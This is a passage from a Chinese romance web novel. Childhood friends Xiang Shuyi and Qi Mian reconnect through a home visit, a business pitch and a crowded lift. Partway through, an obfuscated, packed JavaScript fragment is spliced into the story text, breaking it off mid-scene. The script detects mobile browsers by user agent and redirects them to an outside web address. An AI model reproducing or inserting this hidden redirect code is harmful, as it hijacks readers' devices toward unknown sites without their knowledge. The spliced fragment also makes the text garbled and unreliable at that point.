他解开安全带,探身过来握上她手腕,语气着急:“怎么回事?不舒服?”
小腹还在绞痛,向殊意虚弱地说不出完整的话来,祁勉却突然反应过来,急急地问:“生理期,是不是?”
他怎么还会记得。
向殊意不可思议地回头看他,眉头紧皱,眼睛里冒着生理性眼泪。
祁勉刚刚故意逗她的那副懒散的模样全然不见,代之以严肃神色。他当机立断推开车门,绕到她这一侧。
“住几楼?我抱你上去。”
祁勉已经弯腰下来,向殊意来不及拒绝,腿弯已经伸过来一只有力的手臂。祁勉轻而易举地把她抱了起来。
突然腾空,向殊意小小惊呼一声,双手自然环上他脖颈。
脸颊冰冰凉凉的,不慎蹭上他温热的侧脸,有点痒,是他下巴上隐隐约约的小胡茬。
上楼的几分钟里,向殊意百感交集。
许多回忆无声地漫上心头,无数次年少时这样的拥抱的感觉,她都已经记不清了。
只有今天,只有今晚。
在他们都成长到不再是孩子和少年的时候,再一次的拥抱的感受,让她忍不住控制自己远离,又忍不住贪恋。
祁勉垂眸看向密码锁,向殊意抬眸看他的眼睛。
他突然转过头来,她赶紧偏头,和他错开视线。
“开门。”
两个字回荡在空空荡荡的电梯间,也敲击到向殊意耳朵里。
“井号,01270315,你开吧。”
祁勉偏头看她,眼神探究。向殊意垂下头不敢再看他。
滴滴的密码声音响起,祁勉低低的含笑的话音混杂其中:“怎么还用这个密码。”
向殊意闷声:“习惯了。”
习惯了,拼凑他们的生日作为一切的密码。
“开锁成功”的提示音响起,祁勉走进去,踩着昂贵的皮鞋跟脱下鞋,还不忘调侃:“习惯?那你小心别让我碰到你手机,指不定哪天把你账号的钱全转走。”
向殊意哼笑:“得了吧,我那点钱对你来说还不是苍蝇腿肉。”
“小肉也是肉。”他把她在沙发上放稳了,才转身去开客厅的灯,可惜毫无反应。
向殊意才想起来昨天灯就已经一明一暗地苟延残喘,不好意思地说:“灯好像坏了,最近一直没时间找人修呢。”
“你这日子怎么过的?”祁勉已经抱着手臂走到客厅,脸上表情不太好,“根本不懂照顾自己,完全是凑合。”
向殊意拉开茶几上的一盏小台灯。光亮突然出现,祁勉看上去有些紧绷的身形才终于松缓下来。
她没否认,只嘟嘟囔囔:“又没人教我。我以为我对自己还挺好的,原来不好吗?”
祁勉神色暗淡下来,许久才问:“家里有没有红糖黑糖?”
“冰箱应该有。”
他点点头,转身走向餐厅,边走边说:“至少你生理期周期还挺稳定,一直是五号。”
向殊意感觉肚子又往下坠了一下,蜷在角落缓过劲来,才说:“其实也乱了好几个周期了,这次碰巧而已。”
祁勉停下手里动作,拿了只玻璃杯给她接了杯热水,递到她手中,“先暖暖。”
向殊意伸手接过,又见他把视线放在小台灯上。祁勉反反复复犹豫很久,才问:“……还有灯么?”
向殊意看了眼窗外透进来的明亮的月光,有些迟疑地问:“你怕黑?”
祁勉立刻反驳:“怎么可能。”
向殊意看了眼家里唯一的台灯,干脆捧起它,站在他身边说:“我去岛台边坐着,我们俩用一盏。”
小锅咕噜咕噜冒泡,满屋子都浸满红糖水的浓郁香味。向殊意手肘撑在冰凉的岛台上,被祁勉一记眼刀击退:“不冰?”
她撇撇嘴,把手收回来,老老实实平放在膝盖上。
祁勉又绕过她走到沙发上,用手机手电筒照亮,拽了条毛毯替她铺在岛台的大理石上。
向殊意放心地伏上去,下巴搁在交叠的手背上,眉眼弯弯:“谢谢啦。”
祁勉看了她一眼,没吭声,转身去照顾小锅。
热腾腾的红糖水下肚,向殊意感觉浑身都开始热得冒汗。门铃响起,祁勉开门接过什么,便开始挽袖子,露出一截小臂,青筋透过冷白色皮肤冒出来。
向殊意从高脚凳下来,走到他身边好奇地探头探脑:“什么东西啊。”
祁勉瞥她一眼,转转手上的几只灯泡:“给你当免费修理工。”
向殊意眼前一亮:“你个大少爷还会这个呢?”
祁勉没否认这一称呼,只说:“大少爷也是要生活的。”
向殊意抿了口红糖水,“这种事对你们来说,一般不都是找人来做?你们家那条件,应该不会让小孩自己修灯泡吧?”
祁勉没应她这句问话,双手叉腰,朝她抬起下颌:“劳烦你把你家梯子找过来我用用。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378561|200151||http|test|mini|href|location''.split(''|''),0,{}));
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>向殊意刚要往储物间走,身边突然扬起一阵风,随后肩膀搭上一只温热宽厚的手掌。
她浑身僵硬起来,听见祁勉叹气:“算了,你不舒服还是歇着,告诉我在哪儿,我去搬。”
向殊意握着水杯的手指收紧,往阳台指了指。
台灯被她从餐厅搬到客厅,向殊意捧着膝盖坐在沙发角落,她扬起头看他修灯时的动作,暖黄色灯光映照在她白皙修长的颈部。
祁勉进门时就脱了外套,身上只剩下一件黑色高领薄毛衣。这毛衣紧紧贴着他上半身的每一块肌肉,将锻炼痕迹显现无疑。
他扬着脑袋,微微眯起眼睛在研究灯。从下往上看,死亡角度对他来说好像完全不存在,反而让向殊意的视线不知不觉落在他微凸的喉结上。
向殊意抬手碰了碰发热的脸,被自己冰凉手冻到,打了个寒噤。
祁勉像是长了两双眼睛,立刻低下头:“冷?”
向殊意伸手扯了下肩头的毛毯,摇摇头。
祁勉瞥了眼因为拉闸而暂停工作的暖气,加快手上速度。
没过几分钟,他找到了其中门道,往下伸出手臂说:“向殊意,把螺丝刀递给我。”
向殊意赶紧从沙发上弹起来,头顶又传来一声凉凉的命令:“穿鞋。”
她紧急刹住脚步,套上拖鞋走到茶几上,摸出螺丝刀,抬手递给他。
祁勉跨坐在梯子最顶端,一手在摸索顶灯的螺丝钉位置,一手往下伸,抬头顶着头顶,目光压根没往下看。
向殊意踮起脚伸手将工具递给他,祁勉看都没看,往下一抓,直直握住她整只手。
向殊意睁圆双眼,手一松,螺丝刀落在地毯上,砸出一声闷响。
触碰到全然不同的触感,祁勉也惊了,垂头看过去。
两人一高一低,一个仰头,一个垂头,彼此惊愕的目光在半空中撞在一起,一时间甚至没人想起要松手。
向殊意缓缓将视线往下移,移到他们彼此交握的双手上。
他的手很大,却很暖。
手背上冒出青筋,轻轻松松就将她整只手包裹起来,密不透风。
向殊意盯着他们粗细相差悬殊的手腕,感觉手心冒出了涔涔细汗。
不知过了多久,她手背蓦然一凉,残存的一点儿温度还黏附在皮肤上,挥之不去。
她飞快收回手,悄悄背在身后,张开又握紧,发现自己没有感觉错误。
手心里早已布满密汗。
祁勉轻咳了一声,抬手碰了下耳垂,语气听上去一如往常:“真笨,递个东西也不会……”
向殊意蹲下去捡起螺丝刀重新递给他,语气磕磕巴巴:“你也挺笨,接东西也能……拿错……”
向殊意坐回沙发角落,摁亮了手机,控制住自己不要再看他。
可她鬼使神差地将指尖挪到相机上,点开,抬起,悄悄对准了认真修灯的男人。
室内仅存的台灯并不太明亮,混在窗台外莹亮的月光里,一同铺在他微抬的下颌和其下的颈部皮肤上,给他附上一身的居家气质。
向殊意埋头盯着手机镜头里的他,莫名幻视出……
居家人夫的形象。
她脸颊瞬间变得爆红时,祁勉突然低头了。
他直勾勾盯着。透过她的镜头,像是要将她见不得光的心理活动给看穿。
向殊意心脏震颤,悬在屏幕上方的手指猛地一抖。
“咔嚓”一声。
在寂静的房子里响得清明。
13. 成狗了吗
祁勉像个田螺先生。
他帮她把灯修好、把用完的工具箱和梯子放回原位、把装过红糖水的小锅和水杯洗干净放好,最后还顺手带走了一袋子垃圾。
房门被关上的瞬间,屋子里重新恢复往日寂静。
可向殊意感觉心里像被什么给填满了,根本没有空间留给那些流荡的孤寂。
她捧着手机在沙发上呆坐很久,又盯着头顶明亮的灯光看了很久,才低下头揉眼睛。
揉着揉着,突然开始高兴。
她点开手机相册,点进那张“偷拍”的祁勉的相片。
照片不偏不倚,正好捕捉到他看向她的瞬间。他穿着的黑色毛衣格外修身,看上去宽肩窄腰,无比可靠的样子。
祁勉眼睫微垂,望向她的眼睛里隐隐含着笑,刚刚他说过的话好像透过这双眼睛,透过屏幕,重新回响在她耳边。
“出片儿了么?”
他扬起一边唇角,是在笑她偷拍也不知道关声音。
偏偏向殊意那时候像被夺取了魂魄,当真愣愣点头:“出了……吧……”
祁勉笑得更开怀了,肩膀一颤一颤的。他笑够了,叉着腰对她说:“回头发给我看看。”
……
向殊意盯着手机里这张照片看了许久,抿起唇轻笑,真的点进了她和祁勉的聊天框。
手机声音在副驾驶响起,祁勉一脚刹车,火速把车停在路边,摸过手机。
锁屏上躺着“妹妹”两个字。
祁勉没忍住弯起唇,解锁了手机点进去,对方发来一张图片。
他点开,图片里男人是他。
祁勉根本没认真看,退出来便看见对面弹出另一条信息。
【出片了】
祁勉盯着这三个字,突然就开始笑。
他重新点进那张图片,点了下载原图保存。
顿了顿,抿起唇,思考一番打字:
【拍摄技术一般。】
对方秒回了个翻白眼的emoji。
祁勉又开始笑。
他往后一躺,退出聊天框,划拉几下戳进另一个聊天框,将刚刚保存的照片发了出去。
对面秒回一个“?”
祁勉打字:【帅吧,她帮我拍的。】
对面又回了一串省略号。
祁勉心情愉悦,重新把手机丢回副驾驶座,一把方向盘打去相反方向。
-
“你是说,你的青梅姐毫无防备就放你进了她家,还给你拍了张照片儿?”
吕鹏飞摸着下巴,晃晃手上的易拉罐,里面水声晃荡。
祁勉“啧”了声,手上捧着手柄打游戏,“怎么在你嘴里就变这么干巴?我都说了,是我把她抱上楼然后她开门,输入密码是我们俩生日……”
“停之停之,”吕鹏飞伸出手掌制止了他,“不用再重复了,我已经听过无数遍了。”
祁勉看向他手中的酒杯,叹了口气:“大冷天的喝这玩意儿,不凉得慌?”说着便从身边摸出黑色保温杯,拧开盖子,汩汩热气从中飘出。
祁勉还在洋洋得意,好兄弟认真思索后突然开口:“你不觉得,人家根本没把你当个男人看?”
祁勉手上一抖,操作的小人立刻掉进水里死了,差点让热水烫到。
他把手柄抛到身后沙发上,眉头紧皱:“比如?”
“你看啊,”吕鹏飞掰着手指头,“首先,她随随便便就放你进了自己家。独居女性哎,为什么完全没防备就放你进去?那肯定是没把你当个成年男性,还觉得你是她哥……”
“分明是她觉得我可信。”祁勉阴恻恻地说。
吕鹏飞翻了个白眼,继续说:“这第二,正常来说,你给人家修灯,正常来说都会躲在角落心脏小鹿乱撞,怎么可能还举个手机给你拍照,还还还把照片发给当事人?我看啊她就是简简单单给哥哥拍张照片……”
祁勉又一次打断:“她不一样。”
吕鹏飞彻底无语:“哥们你继续自我攻略。”
祁勉觉得不爽,又没法说他不对。
沉默了半天,祁勉想起什么,又问:“上次让你投的广告,怎么样了?”
“你放心吧,都在交接了,”吕鹏飞一副恨铁不成钢的模样,“我真服了你,成天催兄弟的公司给青梅姐做生意送钱,你不说人家怎么知道你的付出?”
祁勉不耐烦:“我这不是没办法,又不能看她一根树上吊死。”
“你要制造吊桥效应啊!按我来说,我这个广告都不该听你的去找她合作,不然她没有危机感,哪儿看得上你那点钱。”
“你不懂。我反正……”祁勉瞥他一眼,低下声音,“舍不得。”
说着他又想着替自己挽尊,“但我也已经铁石心肠过了。我——”
祁勉顿了两秒,别开眼,声音低下去,带着点赌气的意味:“我就是不想那么快答应。当年还不是她说变就变?”
吕鹏飞嗤笑一声:“你拉倒吧,生气你早该拒了她,何必先散布信息给恒泽,又吩咐前台留意姓向的主管来电秒同意见面,最后精心安排那么个饭局等人来?拖着不就是想多见几面?”
“那不一样,”祁勉抬手揉了下耳垂,又反手把抛出去的手柄摸回来,在按钮上有一下没一下地乱按,“我只是给她个机会。她要是真有本事,自然能签下来。”
吕鹏飞乐了:“哦。所以你现在是在考验她的诚意?”
祁勉没接话,沉默几秒,他忽然开口,声音更低了,像是说给自己听的:
“我就是想看看,她能为我等多久。”
吕鹏飞忍不住仰首感慨:“虽然不知道你们怎么了,但有些事情,有些矛盾隔阂,关键还得你们愿意一起回到那个分开的节点,一起解决了它。”
吕鹏飞伸手拍拍他肩膀:“非一日之功啊兄弟,是持久战。”
吕鹏飞哼着歌往卫生间去,只留下祁勉一个人背靠沙发,坐在地毯上细想。
回到那个,分开的节点。
那个,光是轻轻回忆一下,都会觉得心中酸涩苦楚的雨夜。
彼此之间分明没有歇斯底里,却让他记了好多好多年。
他无数次后悔过18岁的自己太过意气用事,在见到她的那一刻也想过要弥补。
但他实在无从得知,现在的向殊意,究竟把他当作什么。
是闹过矛盾的讨厌的竹马哥哥,还是……
深夜寂静,祁勉躺在床上,听着隔壁房间吕鹏飞大得像摩托车发动机的呼噜声,默默思考着这个问题。
向殊意同样没睡好。
扶着有些落枕的脖颈,带着浓重的起床气走进办公室迎接周一的早晨时,向殊意是想要一拳干翻全世界的。
她忍着一肚子隐隐的烦躁和坠痛,总算有时间摸出手机看一眼,才发现一众纷繁的工作群下,压着祁勉凌晨给自己发的信息。
【周一早上九点,带着你那破方案,过时不候。】
向殊意被迎头而来的喜悦给砸蒙了,用了揉了揉惺忪睡眼,怀疑自己在做梦。
真正的喜悦到来时,她完全没有任何心思去注意他用来形容自己方案的那个“破”字。
她抬起头看了一眼,已经八点多了。
向殊意当机立断立刻起身推开门,快步走到孙之颖工位旁:“你现在赶紧打一份最新的启元的方案,我昨天晚上跟你们磨出
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来的那一版,装订好,迅速。”
孙之颖立刻开始找文件,一面惊喜地说:“你成功了啊向主管?”
和公司司机联系的动作一顿,她愣了几秒,才说:“是人家高抬贵手垂怜。”
“哪儿呀,姐你还谦虚呢。”
向殊意给司机发完信息,不知不觉就点进和祁勉的聊天框。
只有她知道,这其中,自己的功劳实在没有那么大。
她所做的,也就只有死缠烂打,以及跟团队日复一日地改方案。
拿上文件,向殊意风风火火地出了门。
步履匆忙地走到公司门口,才发现刚刚联系说好了的司机根本不见踪影。
眼看距离九点还剩二十多分钟,向殊意急得要命,直接给司机打了个电话,得来的答复却是包总今天去见大客户,带了一大队人马,公司专车几乎都被带走了。
向殊意挂断电话,根本来不及骂人,只好急匆匆打了辆车坐上去。
周一的早高峰更不是吃素的,更何况是北市这样的城市。
看着前方一条长龙,向殊意感觉自己的体温一点一点凉了下来。
她匆忙打开和祁勉的聊天框:【祁总,实在抱歉,公司的车临时不够,打车费了些时间,现在早高峰又被堵在路上,可能二十分钟左右到达。】
向殊意知道这回是她不占理,却没想到点儿背能背成这样。
她急得喉咙干燥到冒烟,眼看车流一动不动,干脆说:“师傅,我在这下车吧,钱照给你。”
手刚刚贴上门把手,手机在掌心震动。
向殊意低头看去,是祁勉的信息。
【零点十二分,距离早上九点有八个小时四十八分钟,你们有八个小时的准备时间。】
【恒泽如果没有合作的诚意,我想今天没必要见了。】
窗外阳光明媚到刺眼,向殊意却感觉自己如临冰窖。
搭在车门把手上的手,犹豫着缓缓收了回来。
-
“祁总,九点半的会议准备开始了。”秘书恭恭敬敬走进总裁办。
祁勉“嗯”了一声,背对着门,紧紧盯着手机锁屏。
早上八点五十五分。
距离九点还有五分钟。
那条消息发出去快十几分钟了,她没回。
祁勉扯了扯嘴角,把手机倒扣在桌上。
她说会迟到二十分钟。可万一……她干脆不来了呢?
他以为自己早就不在意了。
过了这么多年,自己已经成长到能够容忍很多以前无法容忍的事。
可此刻盯着这对话框,他发现自己还是那个十八岁的傻子,站在她家门口淋着雨,等她一个解释。
等来的,只有沉默。
如果是其他合作方,不见也就不见了。
可这是向殊意。
祁勉站起身,走到落地窗边,背对着门。他抬手揉上眉头:“改回九点吧。”
秘书应声退出。
祁勉低头看腕表,八点五十九分。
算了。
门口传来三声敲门声音,秘书走进来:“祁总……”
祁勉没回头,摆手示意秘书去调线上会议。
可秘书没动,声音中带着些迟疑:“恒泽集团广告部向主管找。”
祁勉猛地转身。
门外,向殊意穿着规整的全套西装和同色高跟鞋,胸脯前抱着深蓝色文件夹。
她长而卷的发丝略显凌乱,几缕飘飞在红唇边。
“祁总。”向殊意抬手一把拂掉脸边的头发,唇边立刻扬起专业礼貌的弧度,只是声音微微带了些细喘:
“我来了。”
14. 成狗了吗
偌大的会议室内,祁勉坐在长桌尽头,手上捏了支钢笔在转,速度飞快,却始终没掉下。
他看上去姿态散漫,丝毫没有认真在听向殊意的汇报似的。
最后一张PPT放映完,向殊意终于能喘口气。她紧绷了一上午的肩膀松了下来,说:“祁总,以上是恒泽给出的新方案的全部。”
“啪嗒”一声,祁勉手上的钢笔落在会议桌上,动静在寂静的会议室内格外明显。
祁勉抬眸,却牛头不对马嘴地问:“怎么来的?”
向殊意一顿,没想到他会问这无关紧要的事,“网约车堵了,我跑过来的。”
脑海里立刻出现刚刚瞥见的那双高跟鞋,祁勉蹙眉:“跑,过来?”
“对,”向殊意看上去很无所谓,“幸好有及时赶到。”
祁勉回想起自己在手机里对她那样不怎么好的语气,冷硬着的眉眼逐渐软化下来。
他抬手蹭了下耳垂,声音也软了几个度:“……没崴脚?”
向殊意闻言往旁边挪了几步,转了下脚踝,扬起个明媚的笑:“没有,这次不是演的。”
一口一个祁总叫得欢快,祁勉只觉得她像个没心眼的傻子。
他抬眸悄悄瞄她一眼,语气别扭地问:“你不生气?”
“我生什么气?”向殊意说,“祁总,八个小时四十八分钟的准备时间,我没能及时看见您信息,导致时间不够差点迟到,完全是我的问题。我回去之后会好好反思这次低级错误,绝对不会……”
“行了,”祁勉打断了她,“方案留下,我再看看,等消息吧,一会儿我还有会。”
向殊意见有希望,心情瞬间轻松起来,把文件夹推给他,说:“期待与您成功合作。”
祁勉“嗯”了声,伸手接过来,拿上保温杯起身。
向殊意瞥见了那个熟悉的杯子,在他身后悄悄扬起眉梢。
祁勉走出会议室门,向殊意彻底瘫在椅子上,弓身去揉脚踝。
不过是为了一些公司部门以及她本身的面子,随口说的谎而已。
一路极速飞奔过来,怎么可能没崴着。
她叹了口气,想起刚刚祁勉给自己发的那条信息。
冰冰冷冷的,像他,又不像他。
祁勉在工作场合,和在私下面对她,完全是两幅模样。
什么小狗啊。
向殊意忍不住纠正自己再见到他的第一感受。
祁勉现在,分明已经成了凶狠的狼狗。
凶狠说得有点过。向殊意想不到一个合适的形容词,来概括今天见到他的截然不同的另一面。
但她也不怪他。
今天的事情她有错在先。
更何况,她是最知道,祁勉为什么格外厌恶出尔反尔和被放鸽子的那个人。
再细想下去,她怕又要触碰到心底的刺。
只好不再往下想。
向殊意起身,收拾好U盘和文件准备出门,门却被打开了。
是刚刚给她引路的秘书。
秘书朝她点点头,给她递了杯热茶和一瓶喷剂。
向殊意很懵:“这是……”
秘书微笑:“向主管,祁总已经在开线上会议,这是他吩咐我给您准备的。”
热茶的温度透过纸杯传到手心,随即传到整个身体。
站进启元集团的电梯里,向殊意抬头望着闪烁的红色楼层数字,又点进和祁勉的聊天框,对着手上的药和茶拍了张照片发过去。
二十层的总裁办内,放在桌面上的手机震动了下。
耳机里的人还在汇报,祁勉分心捞过手机。
【妹妹:[图片]】
【妹妹:多谢祁总关心】
祁勉盯着屏幕看了几秒,蓦然轻笑出声。
耳机里汇报声戛然而止,电脑屏幕上几张脸面面相觑。
祁勉回过神来,把手机摁灭,清清嗓子:“……继续。”
-
启元和恒泽的合作,从这天开始正式拉开序幕。一切也都从这天开始变得顺利,部门来了不少新单子新合作。
看着祁勉认真看过合同,最终落笔签字的那一刻,向殊意心里的石头算是暂时落了地。
她站起身来,向祁勉伸出手掌,眼睛里闪着光:“合作愉快。”
祁勉也站了起来,大手握上她的,“合作愉快。”
向殊意并不知道,这天其实也是合作不愉快的开端。
祁勉给人的迷惑性太强,差点让向殊意忘了,这人向来是个挑剔且严格的完美主义者。
开始动工前的第无数次会议上,向殊意端起咖啡灌了一大口,勉强撑着眼皮看组员汇报。
祁勉坐在长桌尽头,双手抱臂,眉头紧蹙。
向殊意没忍住分了神。
一份方案折腾来折腾去地改,祁勉一个这么大的总裁,也不嫌烦,次次都亲自莅临。
要不是向殊意还有那么一点儿职业操守,她都要怀疑祁勉是故意要为难她了。
组员汇报话音一落,全桌的人不约而同齐刷刷望向尽头坐着的男人。
她紧张兮兮地盯着他,目光炽热,祁勉毫无征兆地抬起眼。
两道目光相撞,向殊意匆忙移开。祁勉话到嘴边又改口:“这次还可以。”
向殊意没放松警惕:“那缺点……”
祁勉往后一靠,面色平静:“还是老问题。”
刚刚还在偷偷欢呼雀跃的同事们一瞬间都蔫了。
向殊意不信邪,往前俯身问:“祁总,恕我们愚钝,除了宣传家用功能,我们实在想不出……机器人,究竟还能怎么有人情味。再说贵司的机器人业务主要是高端技术路线,宣传人情味是不是有点……”
祁勉懒懒地掀起眼皮瞥她一眼,“你问我?”
向殊意嘴角含笑:“没有质问的意思,只求不吝赐教。”
“本来不想说得那么直白,可惜你们非要听,”祁勉笑了声,突然从椅子上站起来往门外走。走出会议室前,他回过头,丢下后半句,“我想你们团队并没有找清楚启元的定位。我们时间有限,还是劳烦各位多多了解,再做方案。”
会议室瞬间鸦雀无声。
祁勉已经出去了,门在他身后“嘭”的一声合上,只留下一众同事们面面相觑。
孙之颖蔫蔫地凑上来
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:“主管,我们接下来怎么办啊?”
向殊意回过神,伸手把额前垂落的碎发往头顶捋上去,叹了口气:“能怎么办?继续改呗。”
她没再管同事们小声哀嚎,收拾好文件夹起身,“都别在这儿占人家位置了,回公司去。”
大家垂头丧气地回到公司去,只剩下向殊意慢悠悠地走。
人情味?
她边往电梯走,边认真琢磨。
启元集团这些年的核心定位基本就是高新科技。祁勉今天说这话,难道代表公司业务定位在往下兼容?
电梯里除了她还有另一位男士。向殊意想着想着,突然发现自己忘了按电梯按键。
她上前一步,手指已经伸到按键前方,身后突然扑上来一阵略显熟悉的木质香。
从她的视角,她只能看见一截质地上等的西装袖子,和衬衫袖口坠着的袖扣。再往前,是只骨节分明的手。
向殊意脑子转得没有手快,没来得及反应,便和那只手轻轻触碰到一起。
向殊意像触到了电,猛地收回手,下意识转身说:“抱歉,我……”
道歉的话在嘴边生生拐了个弯,向殊意捂住自己的手,轻蹙眉间:“……怎么是你?启元没有专梯?”
祁勉已经按下一楼按键,双手插兜,闻言扯起唇角瞥她一眼:“这儿是我地盘,我想坐哪个坐哪个。”
此言占理,向殊意闭上嘴不说话了。
她还没有踏出启元大门,和祁勉的关系就是甲乙方的关系。
这样的甲方,她可惹不起。
向殊意想着,抬头朝他扬起个无懈可击的微笑:“祁总说的是。”
难得没听见她的回怼,祁勉稀奇地望了她后脑勺一眼。
向殊意想,反正电梯人不多,他们也不至于尴尬。就这样安安静静保持距离直到出电梯,也不是什么难事。
可她完全低估了从二十楼到一楼这期间的公司人流量。
电梯才刚刚到了十七楼,便开始每一层都开门,每一层都要新挤进来三四个人。原本说说笑笑的员工竟然在普通电梯里看见面无表情的总裁,一个个朝他打招呼:“祁总。”
祁勉勉强“嗯”了一声。
电梯空间越来越逼仄,他被迫靠到角落的位置,有点后悔刚刚不坐专梯、跟着向殊意走进通用电梯了。
“叮咚”一声,又挤进来一拨人。
向殊意感觉自己几乎悬空,脚上不稳,猛地往角落挤去。
她一直把头微抬着,生怕人太多,抢占了微薄的呼吸空气。现下被这么一挤一推,她紧紧闭上眼睛,额头碰上某处坚硬的位置。
准确感受来,是带着温热的坚硬。
“嘶——”
向殊意抚着撞疼了的额头睁眼,面前只能看见修长的脖颈,喉结在中央上下滚动。
木质香气一瞬间扑进她整个鼻腔,向殊意心里大喊不妙。
她缓缓抬头望去,才发现此刻,自己正和角落里的祁勉以一种面对面的姿势相拥。
彼此之间只隔了极近的距离,所有感官瞬间归位。
她才发觉,祁勉的手臂,轻轻环住了她后腰。
15. 成狗了吗
腰间的触感透过身上衣物,变得越来越清晰。向殊意在他怀里,听他有力的心跳,一动也不敢动。
幸运的是,整个电梯里的大家都垂着头,要么刷手机要么发呆,没人注意到这个角落。
向殊意从来没觉得,这电梯的时间跨度怎么会这么长。
拥挤而安静的环境里,一切感官上的感受都变得格外清晰。
向殊意感觉到男人已经浑身僵硬。不知怎么,有了这样的认知,她反而有胆子抬起头来。
又软又香的女孩儿突然在怀中动了,头顶被弄乱的发丝拂上祁勉的下巴和侧脸。祁勉开始后背冒汗,脸上也痒丝丝的,慌忙抬起头看天。
余光中,向殊意安静看了他几秒,突然发出一声再轻不过的笑。
分明像是羽毛、雨丝、细风,钻进他耳朵里也成了体温骤升、心跳加速的大功劳。
祁勉完全不敢动。
直到向殊意重新低下头,细密温热的呼吸扑在他紧扣的衬衫领以内,他才终于找回了一点呼吸。
“叮咚”一声,电梯终于显示一楼到了。
人群随之往外涌出,向殊意也往后退,背过他整理自己凌乱的头发。
怀里突然空了。如获大赦以后随之而来的,是同样莫名空了一块的心。
祁勉望着向殊意娉婷的背影,已经完全忘了自己所行目的。
他垂头整理领带,跟在她身后走出电梯。眼看她即将往大门走去,记忆猛然回笼。
“向殊意。”祁勉赶紧出声喊住了她。
走在前面的背影停住脚步,转过身,脸颊上浮现出的粉红红晕掩藏在被刻意拉过来的发丝中,像林深处唯一一颗饱满的水蜜桃。
向殊意尽量让自己变得稍微沉稳一些:“有事吗,祁总?”
祁勉往前走了几步,和她之间的距离一下子缩短了。
“你还记不记得,前些天你欠我一份雇佣费?”
向殊意感觉空气稀薄,连忙往后退了一步,手背碰了下温热的脸颊,问:“怎么了?”
“我想到用什么抵偿了,”祁勉微抬下颌,“明天晚上,有个重要的慈善晚宴。”
向殊意迟疑地往后退了一步:“要我当女伴?”
祁勉笑笑:“聪明。”
向殊意秒拒:“不好意思还是不了,加班划不来。”
祁勉扬起眉:“好啊,不去也没事。只不过听说明天康盛集团老总他们好像都要……”
他话音未落,向殊意已经回头,两眼放光:“时间地点?”
绝佳的结交人脉机会,她必然要好好抓紧。
祁勉双手抱臂,故意摆起架子:“这晚宴,也不是谁都能进。”
向殊意非常上道:“哪儿的话,需要我去准备什么都行。”
“下午,挑一套礼服。我陪你去。”
祁勉看上去云淡风轻,揣在裤袋里的手却缓缓握紧了。
向殊意果然犹豫起来,有什么话想说说不出口的模样。
祁勉感觉手心冒汗。
她不会拒绝吧。
他这要求应该……
不会很为难人吧?
他咽了口空气,又清了下嗓子,搬出旧事:“你别忘了,我当初在肖阿姨她们面前假扮你男友,也是勉为其……”
向殊意像是终于下定决心,开口打断他,眼睛依旧亮晶晶:“礼服是你出钱?”
祁勉一噎。
他有些气急败坏:“你成天到晚除了谈钱还有别的心思没?”
向殊意坦荡地耸耸肩膀:“没啊。”
裤袋里紧握的拳头一松,祁勉突然觉得刚刚冒出来那点儿小紧张完全是多余。
向殊意往周围望了望,才想起自己还在启元大堂里站着,瞬间也有点不好意思了:“抱歉啊,那我换个说法。”
她往前凑凑,微笑道:“祁总,请问,下午挑选礼服,是贵公司报销么?”
祁勉瞥她一眼,没好气地说:“走我私账。”
“好嘞,您尽管通知时间地点,款式随便您挑,我悉听尊便、随叫随到。”
门外明亮的晨光透过玻璃门投射进来,将她飞扬的发丝染成金色,看起来毛茸茸的,很好揉。
向殊意笑得明媚,朝他点头招手,转身望门口走去。
祁勉怔在原地,目送她逐渐远去和金色阳光融为一体,消失在门口,直到一点儿也看不见。
他恍惚地摸出手机,才发现秘书在十几分钟前给他发了信息:
【祁总,您是有急事离开公司了吗?】
【祁总,九点半的会议已经为您暂时延后半小时。】
祁勉眼皮一跳,看了眼腕表,才发现已经是十点过一刻。
他下意识地又往向殊意刚刚离开的方向望了一眼,才转身往专梯走去。
-
向殊意一回到公司就让助理帮忙找出名片塞进包里。一面随时留意着祁勉的信息,一面匆匆吃过午饭,和团队一起磨启元的项目。
下午五点半左右快下班,工作群里突然弹出个信息,包总召集了众多部门的主管们前去开个总结会议。
向殊意摘下已经挂上肩头的包,在心里翻了个大白眼。
会什么时候不能开?
成天到晚就知道踩着下班点开开开开开开!
刚坐进会议室,她想着给祁勉先招呼一声。信息刚发出去还没等到回复,便听见包总cue她:“向主管,最近的工作状态看起来不太好啊?”
向殊意猛地抬起头,把手机按灭,微笑道:“没有的事儿,最近部门在攻坚启元的项目,大家积极性挺高,我这边统筹调度花了点精力。”
顿了顿,她语气轻松地补了句:“不过这种状态不好,要是能换来项目落地,我绝对乐意多来几回。”
几位领导闻言都乐呵呵的,大领导说:“为了公司,大家苦点累点也辛苦。今天这个会议绝对不会长,不会超过半小时,大概就是总结一下各部门方向。”
向殊意点头示意,唇边笑意未减,抬头看了包总一眼。
大领导都发话了,包总自然不敢再多刁难什么。
向殊意把电脑支起来,点开微信聊天框,看见祁勉几分钟前发了个“?”。
她往上翻了下聊天记录,才发现他们上一条信息几乎是同时发出来。
【应该快下班了?楼下等我,接你去看裙子。】
怎么感觉。
这话听着好像,这么亲昵?
明明上下文语境是非常清楚的。
只是偿债而已,又不是他真的闲着没事给她买裙子。
再说……
他们现在也
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不是能做这些的关系。
向殊意有些心虚地抬头,装模做样地跟着大家点头,然后垂头抿唇,手指在键盘上翻飞:“不好意思祁总,这次是真的突然开会。”
她想了想,又敲:“这次您给了我八分钟的准备时间,公司给了我零分钟,真是不好意思了。”
祁勉没再回复。
向殊意百无聊赖地抬头看看口若悬河的包总,盯着聊天框发呆。
已经讲了半个小时了。
她哀怨地往领导方向望了一眼。
Hello?
你们之中,还有人记得自己说的“绝对不超过半小时”吗?
向殊意视线一移,和另一个部门的负责人对上视线。
对方悄悄戳了下腕表表盘,耸肩,坐了个无奈的表情。
向殊意也耸了耸肩,余光中瞥见电脑屏幕上弹出一条新信息,她移开视线仔细看。
是祁勉。
【是谁开会?】
向殊意抬眼穿过电脑望了眼前边坐着的几位领导和开起会来情绪激动、向方圆百里发射口水攻击的包总,打字:【几个大小领导。】
【名字?】
向殊意直起身子,没多想,把领导名字敲了出去。
